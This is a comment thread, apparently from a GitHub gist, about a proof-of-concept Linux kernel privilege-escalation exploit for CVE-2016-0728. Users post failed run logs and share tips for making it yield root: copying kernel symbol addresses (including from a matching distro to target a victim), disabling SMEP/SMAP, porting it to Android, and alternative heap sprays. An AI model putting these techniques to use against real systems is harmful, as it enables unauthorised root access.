Hide comment
@Shailishefalisingh

Shailishefalisingh Jan 20, 2016

how is it working in some cases explain please

how is it working in some cases explain please

@ruyrybeyro

This comment has been minimized.

Show comment
Hide comment
@ruyrybeyro

ruyrybeyro Jan 20, 2016

Does it affect kernel 4.3 and up?

Does it affect kernel 4.3 and up?

@bernardocout

This comment has been minimized.

Show comment
Hide comment
@bernardocout

bernardocout Jan 20, 2016

Hi guys! I was trying to use this exploit on OpenSuse but it stay on "Increfing..." and nothing happen.

4.1.13-5-default
./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...

Any idea?

Hi guys! I was trying to use this exploit on OpenSuse but it stay on "Increfing..." and nothing happen.

4.1.13-5-default
./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...

Any idea?

@tuxayo

This comment has been minimized.

Show comment
Hide comment
@tuxayo

tuxayo Jan 20, 2016

After 27min on Debian 8 on a Pentium 4@3.00GHz, it fails with:

keyctl: Disk quota exceeded

edit: second try, after 80 min.
I get a shell with no particular privileges

tuxayo commented Jan 20, 2016

After 27min on Debian 8 on a Pentium 4@3.00GHz, it fails with:

keyctl: Disk quota exceeded

edit: second try, after 80 min.
I get a shell with no particular privileges

@tuxayo

This comment has been minimized.

Show comment
Hide comment
@tuxayo

tuxayo Jan 20, 2016

@bernardocout
http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

 the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU

To help you to compare with your hardware, it's a 3GHz recent processor and the exploit uses one thread

tuxayo commented Jan 20, 2016

@bernardocout
http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

 the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU

To help you to compare with your hardware, it's a 3GHz recent processor and the exploit uses one thread

@bernardocout

This comment has been minimized.

Show comment
Hide comment
@bernardocout

bernardocout Jan 20, 2016

@tuxayo thanks!

Now I got the same error than you:

 keyctl: Disk quota exceeded 

I was reading that is because the user (not root) has a limited quote, he can't use all the disk, or something like that.

@tuxayo thanks!

Now I got the same error than you:

 keyctl: Disk quota exceeded 

I was reading that is because the user (not root) has a limited quote, he can't use all the disk, or something like that.

@sunnyjiang

This comment has been minimized.

Show comment
Hide comment
@sunnyjiang

sunnyjiang Jan 20, 2016

Does anyone get the result on Android? how to compile successfully?

Does anyone get the result on Android? how to compile successfully?

@tommy-dong

This comment has been minimized.

Show comment
Hide comment
@tommy-dong

tommy-dong Jan 20, 2016

@sunnyjiang

pls refer to the zhouwei's solution, try syscall...
anyway I tested Android and Ubuntu, both of them cannot get root

@sunnyjiang

pls refer to the zhouwei's solution, try syscall...
anyway I tested Android and Ubuntu, both of them cannot get root

@b4ldr

This comment has been minimized.

Show comment
Hide comment
@b4ldr

b4ldr Jan 20, 2016

couldn't get it to work on ubuntu 14.04

$ uname -a
Linux server 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ ./cve_2016_0728 PP1
uid=1109, euid=1109
Increfing...

finished increfing
forking...
finished forking
caling revoke...
uid=1109, euid=1109

Anyone know what i may be doing wrong. What should the PP_KEY value be? i have tried PP_KEY and PP1 and neither produced a root shell. should i be using a value that already exists in /proc/keys or is this value arbitrary?

b4ldr commented Jan 20, 2016

couldn't get it to work on ubuntu 14.04

$ uname -a
Linux server 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ ./cve_2016_0728 PP1
uid=1109, euid=1109
Increfing...

finished increfing
forking...
finished forking
caling revoke...
uid=1109, euid=1109

Anyone know what i may be doing wrong. What should the PP_KEY value be? i have tried PP_KEY and PP1 and neither produced a root shell. should i be using a value that already exists in /proc/keys or is this value arbitrary?

@itwesley

This comment has been minimized.

Show comment
Hide comment
@itwesley

itwesley Jan 20, 2016

line 2, missing the '8' (/* $ ./cve_2016_072 PP_KEY */)

line 2, missing the '8' (/* $ ./cve_2016_072 PP_KEY */)

@oliveiraev

This comment has been minimized.

Show comment
Hide comment
@gkarthik16

This comment has been minimized.

Show comment
Hide comment
@cdownschrome

This comment has been minimized.

Show comment
Hide comment
@cdownschrome

cdownschrome Jan 20, 2016

If you check:
root@eben:/proc# cat keys
075e0cb4 IR-Q--- 63 expd 3f3f3f3f 1000 1001 keyring PP1: empty
16477452 I--Q--- 3 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
19c6487a I--Q--- 21 perm 3f030000 1000 1001 keyring _ses: 1
2ad3452d I--Q--- 1 perm 1f3f0000 0 65534 keyring _uid_ses.0: 1
36d1aaca I--Q--- 2 perm 1f3f0000 0 65534 keyring _uid.0: empty
root@eben:/proc#

You will see it created the key. However if you check this -
/proc/PID/smaps

example:
root@eben:/proc# find . -name "smaps"
./1/task/1/smaps
./1/smaps
./2/task/2/smaps
./2/smaps
./3/task/3/smaps
./3/smaps
./5/task/5/smaps

It's probably not going to work because SMAP ( Supervisor Mode Access Prevention ) is enabled within the running kernel. Which will only trigger /bin/sh with the current UID.

Hence in the release doc --
Mitigations & Conclusions
The vulnerability affects any Linux Kernel version 3.8 and higher. SMEP & SMAP will make it difficult to exploit as well as SELinux on android devices. Maybe we’ll talk about tricks to bypass those mitigation in upcoming blogs, anyway the most important thing for now is to patch it as soon as you can.

If you check:
root@eben:/proc# cat keys
075e0cb4 IR-Q--- 63 expd 3f3f3f3f 1000 1001 keyring PP1: empty
16477452 I--Q--- 3 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
19c6487a I--Q--- 21 perm 3f030000 1000 1001 keyring _ses: 1
2ad3452d I--Q--- 1 perm 1f3f0000 0 65534 keyring _uid_ses.0: 1
36d1aaca I--Q--- 2 perm 1f3f0000 0 65534 keyring _uid.0: empty
root@eben:/proc#

You will see it created the key. However if you check this -
/proc/PID/smaps

example:
root@eben:/proc# find . -name "smaps"
./1/task/1/smaps
./1/smaps
./2/task/2/smaps
./2/smaps
./3/task/3/smaps
./3/smaps
./5/task/5/smaps

It's probably not going to work because SMAP ( Supervisor Mode Access Prevention ) is enabled within the running kernel. Which will only trigger /bin/sh with the current UID.

Hence in the release doc --
Mitigations & Conclusions
The vulnerability affects any Linux Kernel version 3.8 and higher. SMEP & SMAP will make it difficult to exploit as well as SELinux on android devices. Maybe we’ll talk about tricks to bypass those mitigation in upcoming blogs, anyway the most important thing for now is to patch it as soon as you can.

@ohdns

This comment has been minimized.

Show comment
Hide comment
@ohdns

ohdns Jan 20, 2016

Has anyone managed to make this work on CentOS 7? If so, does it still work if you use sysctl -w kernel.kptr_restrict=1 I have been testing in VirtualBox, but that hypervisor may be masking my results. The most I get is an oops panic after an hour or so.

I do see smaps

[ohadmin@localhost proc]$ find . -name "smaps"
find: './tty/driver': Permission denied
./915/task/915/smaps
./915/smaps
./933/task/933/smaps
./933/smaps

ohdns commented Jan 20, 2016

Has anyone managed to make this work on CentOS 7? If so, does it still work if you use sysctl -w kernel.kptr_restrict=1 I have been testing in VirtualBox, but that hypervisor may be masking my results. The most I get is an oops panic after an hour or so.

I do see smaps

[ohadmin@localhost proc]$ find . -name "smaps"
find: './tty/driver': Permission denied
./915/task/915/smaps
./915/smaps
./933/task/933/smaps
./933/smaps
@toxeek

This comment has been minimized.

Show comment
Hide comment
@toxeek

toxeek Jan 20, 2016

For those who wonder why it's not working on your Ubuntu (or other distributions) check for things like unattended-upgrades (see the logs), etc.

toxeek commented Jan 20, 2016

For those who wonder why it's not working on your Ubuntu (or other distributions) check for things like unattended-upgrades (see the logs), etc.

@toxeek

This comment has been minimized.

Show comment
Hide comment
@toxeek

toxeek Jan 20, 2016

not a bad idea to check,
ls -ltr /boot
and see the last updates

toxeek commented Jan 20, 2016

not a bad idea to check,
ls -ltr /boot
and see the last updates

@AlexRomanovIV

This comment has been minimized.

Show comment
Hide comment
@AlexRomanovIV

AlexRomanovIV Jan 20, 2016

Sorry guys, my old laptop with CentOS 7 burned after 40 mins of "Increfing..." xD
ventilating the room )

Sorry guys, my old laptop with CentOS 7 burned after 40 mins of "Increfing..." xD
ventilating the room )

@SleepProgger

This comment has been minimized.

Show comment
Hide comment
@SleepProgger

SleepProgger Jan 20, 2016

The vulnerability affects any Linux Kernel version 3.8 and higher.
It seems like some folks here missed that sentence.

The vulnerability affects any Linux Kernel version 3.8 and higher.
It seems like some folks here missed that sentence.

@ohdns

This comment has been minimized.

Show comment
Hide comment
@ohdns

ohdns Jan 20, 2016

The examples I see here are 3.8 and higher.

ohdns commented Jan 20, 2016

The examples I see here are 3.8 and higher.

@martarek

This comment has been minimized.

Show comment
Hide comment
@martarek

martarek Jan 20, 2016

@SleepProgger It seems to be a typo because everywhere else on the blog says 3.18
@strazzere
I had to input those values to be able to compile for Android (API 21) on an ARM architecture.

80c80
<     if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>     if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
89c89
<     serial = syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);

---
>   serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
94,95c94,95
< 
<   if (syscall(219, KEYCTL_SETPERM, serial, 0x3f000000 | 0x003f0000 | 0x00003f00 | 0x0000003f) < 0) {

---
>   
>   if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
107c107
<   if (syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
115c115
<       if(syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
133c133
<       if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
138c138
<         if (syscall(189, msqid, &msg, sizeof(msg.mtext), 0) == -1) {

---
>                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
153c153
<     if (syscall(219, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {

---
>     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
161c161

So far I obtained :

$ ./cve.so PP1                                    
uid=2000, euid=2000
msgget: Bad address

It seems that line 80

    if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

Fails with a bad address. Any leads?

EDIT : On second thought, this exploit seems to be made for a x64 system (as seen from the define at the very beginning). It might require more work to find the proper offsets, especially for

#define STRUCT_LEN (0xb8 - 0x30)

which I am trying to figure out what it stands for.

EDIT #2 : Found on the blog.

@SleepProgger It seems to be a typo because everywhere else on the blog says 3.18
@strazzere
I had to input those values to be able to compile for Android (API 21) on an ARM architecture.

80c80
<     if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>     if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
89c89
<     serial = syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);

---
>   serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
94,95c94,95
< 
<   if (syscall(219, KEYCTL_SETPERM, serial, 0x3f000000 | 0x003f0000 | 0x00003f00 | 0x0000003f) < 0) {

---
>   
>   if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
107c107
<   if (syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
115c115
<       if(syscall(219, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
133c133
<       if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
138c138
<         if (syscall(189, msqid, &msg, sizeof(msg.mtext), 0) == -1) {

---
>                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
153c153
<     if (syscall(219, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {

---
>     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
161c161

So far I obtained :

$ ./cve.so PP1                                    
uid=2000, euid=2000
msgget: Bad address

It seems that line 80

    if ((msqid = syscall(186, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

Fails with a bad address. Any leads?

EDIT : On second thought, this exploit seems to be made for a x64 system (as seen from the define at the very beginning). It might require more work to find the proper offsets, especially for

#define STRUCT_LEN (0xb8 - 0x30)

which I am trying to figure out what it stands for.

EDIT #2 : Found on the blog.

@s4per

This comment has been minimized.

Show comment
Hide comment
@s4per

s4per Jan 20, 2016

Debian:
$ ./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ uname -r
4.3.0-1-amd64
$

s4per commented Jan 20, 2016

Debian:
$ ./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ uname -r
4.3.0-1-amd64
$

@terrywang

This comment has been minimized.

Show comment
Hide comment
@terrywang

terrywang Jan 21, 2016

The PoC code failed to escalate privilege on Linux VMs (XenServer) running manually compiled Linux kernel 4.4.0 and 4.3.0.

Linux 4.4.0

The PoC code failed to escalate privilege on Linux VMs (XenServer) running manually compiled Linux kernel 4.4.0 and 4.3.0.

Linux 4.4.0

@limkokhole

This comment has been minimized.

Show comment
Hide comment
@limkokhole

limkokhole Jan 21, 2016

It doesn't work.

[xiaobai@xiaobai tmp]$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
[xiaobai@xiaobai tmp]$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.1.13-100.fc21.x86_64
sh-4.3$

It doesn't work.

[xiaobai@xiaobai tmp]$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
[xiaobai@xiaobai tmp]$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.1.13-100.fc21.x86_64
sh-4.3$

@hacktvist

This comment has been minimized.

Show comment
Hide comment
@hacktvist

hacktvist Jan 21, 2016

Didn't worked on Ubuntu 14.04 with kernel 3.13.0-43-generic, below is the output.

test@falcon:~$ ./cve_2016_0728 PP_KEY
uid=1015, euid=1015
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1015, euid=1015
$ whoami
test

Didn't worked on Ubuntu 14.04 with kernel 3.13.0-43-generic, below is the output.

test@falcon:~$ ./cve_2016_0728 PP_KEY
uid=1015, euid=1015
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1015, euid=1015
$ whoami
test

@sunnyjiang

This comment has been minimized.

Show comment
Hide comment
@sunnyjiang

sunnyjiang Jan 21, 2016

According to @zhouwei @strazzere advice, include keyutils.h file , use ndk compiled successfully. Please refer to the url.

https://raw.githubusercontent.com/sunnyjiang/cve_2016_0728/master/cve_2016_0728

But it can't get root privilege in some Android devices. And some may get error: msgget: Function not implemented

According to @zhouwei @strazzere advice, include keyutils.h file , use ndk compiled successfully. Please refer to the url.

https://raw.githubusercontent.com/sunnyjiang/cve_2016_0728/master/cve_2016_0728

But it can't get root privilege in some Android devices. And some may get error: msgget: Function not implemented

@jehuamanna

This comment has been minimized.

Show comment
Hide comment
@jehuamanna

jehuamanna Jan 21, 2016

dint work.fedora 22

$ ./test_2016_0728 -PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -a
Linux dhcppc0 4.0.6-300.fc22.x86_64 #1 SMP Tue Jun 23 13:58:53 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

dint work.fedora 22

$ ./test_2016_0728 -PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -a
Linux dhcppc0 4.0.6-300.fc22.x86_64 #1 SMP Tue Jun 23 13:58:53 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

@2opremio

This comment has been minimized.

Show comment
Hide comment
@2opremio

2opremio Jan 21, 2016

Uhm, strange …. my testing system (a Ubuntu VM) seems to have SMAP enabled (sudo grep CONFIG_X86_SMAP /boot/config-$(uname -r)) and yet the exploit worked 1 out of 3 times (2 were kernel panics).

BTW, for those who didn't get it to work, make sure to adapt the static addresses to what's shown in /proc/kallsyms.

EDIT: Although it was enabled in the kernel, the VM's cpu doesn't support SMAP (grep -w smap /proc/cpuinfo)

Uhm, strange …. my testing system (a Ubuntu VM) seems to have SMAP enabled (sudo grep CONFIG_X86_SMAP /boot/config-$(uname -r)) and yet the exploit worked 1 out of 3 times (2 were kernel panics).

BTW, for those who didn't get it to work, make sure to adapt the static addresses to what's shown in /proc/kallsyms.

EDIT: Although it was enabled in the kernel, the VM's cpu doesn't support SMAP (grep -w smap /proc/cpuinfo)

@2opremio

This comment has been minimized.

Show comment
Hide comment
@2opremio

2opremio Jan 21, 2016

@cdownschrome @ohdns Having smaps files in /proc doesn't mean SMAP is enabled. Those are just files showing memory usage information. You need to check:

  • That your kernel supports it: Look for CONFIG_X86_SMAP in your kernel configuration (normally in /boot/config-$(uname -r), /proc/config or /proc/config.gz)
  • That your CPU supports it: grep -w smap /proc/cpuinfo

Also, make sure to adapt the static addresses to what's shown in /proc/kallsyms

@cdownschrome @ohdns Having smaps files in /proc doesn't mean SMAP is enabled. Those are just files showing memory usage information. You need to check:

  • That your kernel supports it: Look for CONFIG_X86_SMAP in your kernel configuration (normally in /boot/config-$(uname -r), /proc/config or /proc/config.gz)
  • That your CPU supports it: grep -w smap /proc/cpuinfo

Also, make sure to adapt the static addresses to what's shown in /proc/kallsyms

@cdownschrome

This comment has been minimized.

Show comment
Hide comment
@cdownschrome

cdownschrome Jan 21, 2016

@2opremio
Yes I stand corrected and realized that yesterday. I misunderstood what it really meant at first glance and referred to the proc manpage. My bad there ( Thank you and good catch ! ) --

My cpu does not support smap.
root@eben:# cat /proc/cpuinfo | egrep -i "model|smap" | sort | uniq
model : 48
model name : AMD A8-6410 APU with AMD Radeon R5 Graphics
root@eben:
#

The default Kali Kernel has SMAP enabled.
root@eben:# uname -r ; cat /proc/cpuinfo | grep -i smap ; cat /boot/config-4.0.0-kali1-amd64 | egrep -i "smap|smep"
4.0.0-kali1-amd64
CONFIG_X86_SMAP=y
CONFIG_MTD_PHYSMAP=m
root@eben:
#

I have set my commit_creds | prepare_kernel_cred accordingly ( I should have written that / of course with 0x hex prefix ).
root@eben:# cat /proc/kallsyms | egrep -i "commit_creds|prepare_kernel_cred"
ffffffff8108e270 T commit_creds
ffffffff8108e530 T prepare_kernel_cred
root@eben:
#

I have also tried booting and modifying grub to nosmep | nosmap.
root@eben:# curl -s https://www.kernel.org/doc/Documentation/kernel-parameters.txt | egrep -i "nosmap|nosmep"
nosmap [X86]
nosmep [X86]
root@eben:
#

Obviously my CPU does not support it regardless but why not.

root@eben:# dmesg | egrep -i "smap|smep"
[ 0.000000] Command line: BOOT_IMAGE=/vmlinuz-4.0.0-kali1-amd64 root=UUID=d90b8683-2912-4097-a583-923579e44eb0 ro initrd=/install/initrd.gz quiet nosmep nosmap
[ 0.000000] Kernel command line: BOOT_IMAGE=/vmlinuz-4.0.0-kali1-amd64 root=UUID=d90b8683-2912-4097-a583-923579e44eb0 ro initrd=/install/initrd.gz quiet nosmep nosmap
root@eben:
#

Now running the exploit --
10:04:46-cdowns@eben:~/Security$ cat cve_2016_0728.c | egrep "COMMIT_CREDS_ADDR|PREPARE_KERNEL_CREDS_ADDR" | grep "0x"

define COMMIT_CREDS_ADDR (0xffffffff8108e270)

define PREPARE_KERNEL_CREDS_ADDR (0xffffffff8108e530)

10:05:02-cdowns@eben:/Security$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
10:05:15-cdowns@eben:
/Security$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
[\033[35m]\t[\033[m]-[\033[36m]\u[\033[m]@[\033[32m]\h:[\033[33;1m]\w[\033[m]$

Thanks !

@2opremio
Yes I stand corrected and realized that yesterday. I misunderstood what it really meant at first glance and referred to the proc manpage. My bad there ( Thank you and good catch ! ) --

My cpu does not support smap.
root@eben:# cat /proc/cpuinfo | egrep -i "model|smap" | sort | uniq
model : 48
model name : AMD A8-6410 APU with AMD Radeon R5 Graphics
root@eben:
#

The default Kali Kernel has SMAP enabled.
root@eben:# uname -r ; cat /proc/cpuinfo | grep -i smap ; cat /boot/config-4.0.0-kali1-amd64 | egrep -i "smap|smep"
4.0.0-kali1-amd64
CONFIG_X86_SMAP=y
CONFIG_MTD_PHYSMAP=m
root@eben:
#

I have set my commit_creds | prepare_kernel_cred accordingly ( I should have written that / of course with 0x hex prefix ).
root@eben:# cat /proc/kallsyms | egrep -i "commit_creds|prepare_kernel_cred"
ffffffff8108e270 T commit_creds
ffffffff8108e530 T prepare_kernel_cred
root@eben:
#

I have also tried booting and modifying grub to nosmep | nosmap.
root@eben:# curl -s https://www.kernel.org/doc/Documentation/kernel-parameters.txt | egrep -i "nosmap|nosmep"
nosmap [X86]
nosmep [X86]
root@eben:
#

Obviously my CPU does not support it regardless but why not.

root@eben:# dmesg | egrep -i "smap|smep"
[ 0.000000] Command line: BOOT_IMAGE=/vmlinuz-4.0.0-kali1-amd64 root=UUID=d90b8683-2912-4097-a583-923579e44eb0 ro initrd=/install/initrd.gz quiet nosmep nosmap
[ 0.000000] Kernel command line: BOOT_IMAGE=/vmlinuz-4.0.0-kali1-amd64 root=UUID=d90b8683-2912-4097-a583-923579e44eb0 ro initrd=/install/initrd.gz quiet nosmep nosmap
root@eben:
#

Now running the exploit --
10:04:46-cdowns@eben:~/Security$ cat cve_2016_0728.c | egrep "COMMIT_CREDS_ADDR|PREPARE_KERNEL_CREDS_ADDR" | grep "0x"

define COMMIT_CREDS_ADDR (0xffffffff8108e270)

define PREPARE_KERNEL_CREDS_ADDR (0xffffffff8108e530)

10:05:02-cdowns@eben:/Security$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
10:05:15-cdowns@eben:
/Security$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
[\033[35m]\t[\033[m]-[\033[36m]\u[\033[m]@[\033[32m]\h:[\033[33;1m]\w[\033[m]$

Thanks !

@cdownschrome

This comment has been minimized.

Show comment
Hide comment
@cdownschrome

cdownschrome Jan 21, 2016

@2opremio
Going to test on my Kali VM. I'll post back results --

@2opremio
Going to test on my Kali VM. I'll post back results --

@matlink

This comment has been minimized.

Show comment
Hide comment
@matlink

matlink Jan 21, 2016

@2opremio how to get commit_creds and prepare_kernel_cred adresses in /proc/kallsyms if you are not root ?

matlink commented Jan 21, 2016

@2opremio how to get commit_creds and prepare_kernel_cred adresses in /proc/kallsyms if you are not root ?

@zhuowei

This comment has been minimized.

Show comment
Hide comment
@zhuowei

zhuowei Jan 21, 2016

@bactis @strazzere @sunnyjiang Many modern Android devices (such as Nexus 7 2013, Nexus 6, Nexus 5, and probably others) disable SysV IPC support (msgget, etc) from the kernel, so one would need to find an alternate way to take advantage of the use-after-free. Do you have any ideas? (For example, the linked presentation from the PingPongRoot authors showed two methods: the simpler method of using sendmmsg to allocate the memory can probably be adapted easily for this)

See https://www.google.ca/search?q=Remove+SysV+IPC+from+kernel+site:android.googlesource.com (I think all Nexus devices have SysV IPC disabled)

Also note that 64-bit Android devices would need a ROP chain in the kernel because they implement something similar to SMEP (see https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back.pdf )

@matlink
Since most people do not compile their own kernels, the attacker can install the same distro version as the victim and get the /proc/kallsyms file from their own machine

zhuowei commented Jan 21, 2016

@bactis @strazzere @sunnyjiang Many modern Android devices (such as Nexus 7 2013, Nexus 6, Nexus 5, and probably others) disable SysV IPC support (msgget, etc) from the kernel, so one would need to find an alternate way to take advantage of the use-after-free. Do you have any ideas? (For example, the linked presentation from the PingPongRoot authors showed two methods: the simpler method of using sendmmsg to allocate the memory can probably be adapted easily for this)

See https://www.google.ca/search?q=Remove+SysV+IPC+from+kernel+site:android.googlesource.com (I think all Nexus devices have SysV IPC disabled)

Also note that 64-bit Android devices would need a ROP chain in the kernel because they implement something similar to SMEP (see https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back.pdf )

@matlink
Since most people do not compile their own kernels, the attacker can install the same distro version as the victim and get the /proc/kallsyms file from their own machine

@matlink

This comment has been minimized.

Show comment
Hide comment
@matlink

matlink Jan 21, 2016

@zhuowei oh yes you're right. And do you know what is PP_KEY, used as keyring_name in the code, and how can we know this value ?

matlink commented Jan 21, 2016

@zhuowei oh yes you're right. And do you know what is PP_KEY, used as keyring_name in the code, and how can we know this value ?

@shane1027

This comment has been minimized.

Show comment
Hide comment
@shane1027

shane1027 Jan 21, 2016

@2opremio Doesn't seem to work on Arch 4.2.5, and yes I changed my static addresses:

shane@archie  ~  cat /proc/cpuinfo | egrep -i "model|smap" | sort | uniq
model : 58
model name : Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz

./arch_linux PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.2.5-1-ARCH
sh-4.3$ pacman -Syu
error: you cannot perform this operation unless you are root.
sh-4.3$

Got to the shell in less than 20 minutes, but normal privileges!

@2opremio Doesn't seem to work on Arch 4.2.5, and yes I changed my static addresses:

shane@archie  ~  cat /proc/cpuinfo | egrep -i "model|smap" | sort | uniq
model : 58
model name : Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz

./arch_linux PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.2.5-1-ARCH
sh-4.3$ pacman -Syu
error: you cannot perform this operation unless you are root.
sh-4.3$

Got to the shell in less than 20 minutes, but normal privileges!

@zhuowei

This comment has been minimized.

Show comment
Hide comment
@zhuowei

zhuowei Jan 21, 2016

@matlink I'm not too sure: It's just the name of the key to be created; passing in any string should work; PerceptionPoint's blog post used PP1 as the key name.

zhuowei commented Jan 21, 2016

@matlink I'm not too sure: It's just the name of the key to be created; passing in any string should work; PerceptionPoint's blog post used PP1 as the key name.

@matlink

This comment has been minimized.

Show comment
Hide comment
@birdstream

This comment has been minimized.

Show comment
Hide comment
@birdstream

birdstream Jan 21, 2016

I managed to get a working arm executable by doing a cross compile and also linked it statically to the keyutils library (had to compile that from source too, naturally). I used the code above unmodified. The compiler threw some warnings but finished compile thou. The file ended up being ~600kb. Running it on my samsung galaxy s4 seems to take forever so i really cant say whether it actuallty does what it is supposed to. But what i can see is that cat /proc/keys reveals that the key is actuallu generated. But refcount isnt changing.. is this because the kernel is 3.4.0 or did i mess up..!

I managed to get a working arm executable by doing a cross compile and also linked it statically to the keyutils library (had to compile that from source too, naturally). I used the code above unmodified. The compiler threw some warnings but finished compile thou. The file ended up being ~600kb. Running it on my samsung galaxy s4 seems to take forever so i really cant say whether it actuallty does what it is supposed to. But what i can see is that cat /proc/keys reveals that the key is actuallu generated. But refcount isnt changing.. is this because the kernel is 3.4.0 or did i mess up..!

@zhuowei

This comment has been minimized.

Show comment
Hide comment
@zhuowei

zhuowei Jan 21, 2016

On my Nexus 6P (Android 6.0.1) SELinux prevents the PoC from working:

shell@angler:/data/local/tmp $ ./cve_2016_0728 PP1
uid=2000, euid=2000
keyctl: Permission denied

in dmesg

type=1400 audit(1453407146.077:64394): avc: denied { search } for pid=1728 comm="cve_2016_0728" scontext=u:r:shell:s0 tcontext=u:r:shell:s0 tclass=key permissive=0

Edit: Android 5.0 moved untrusted_app to enforcing in SELinux, so this denial should happen on all devices running Lollipop and above. (On Android 6.0 The only two executables that can access keyctl are init and vold, both of which are already running as root anyways)

zhuowei commented Jan 21, 2016

On my Nexus 6P (Android 6.0.1) SELinux prevents the PoC from working:

shell@angler:/data/local/tmp $ ./cve_2016_0728 PP1
uid=2000, euid=2000
keyctl: Permission denied

in dmesg

type=1400 audit(1453407146.077:64394): avc: denied { search } for pid=1728 comm="cve_2016_0728" scontext=u:r:shell:s0 tcontext=u:r:shell:s0 tclass=key permissive=0

Edit: Android 5.0 moved untrusted_app to enforcing in SELinux, so this denial should happen on all devices running Lollipop and above. (On Android 6.0 The only two executables that can access keyctl are init and vold, both of which are already running as root anyways)

@birdstream

This comment has been minimized.

Show comment
Hide comment
@birdstream

birdstream Jan 21, 2016

@zhuoweu my Galaxy S4 runs android 5.0.1 but i dont get permission denied. Like i wrote earlier the key appears to be created but refcount does not change...

@zhuoweu my Galaxy S4 runs android 5.0.1 but i dont get permission denied. Like i wrote earlier the key appears to be created but refcount does not change...

@nardholio

This comment has been minimized.

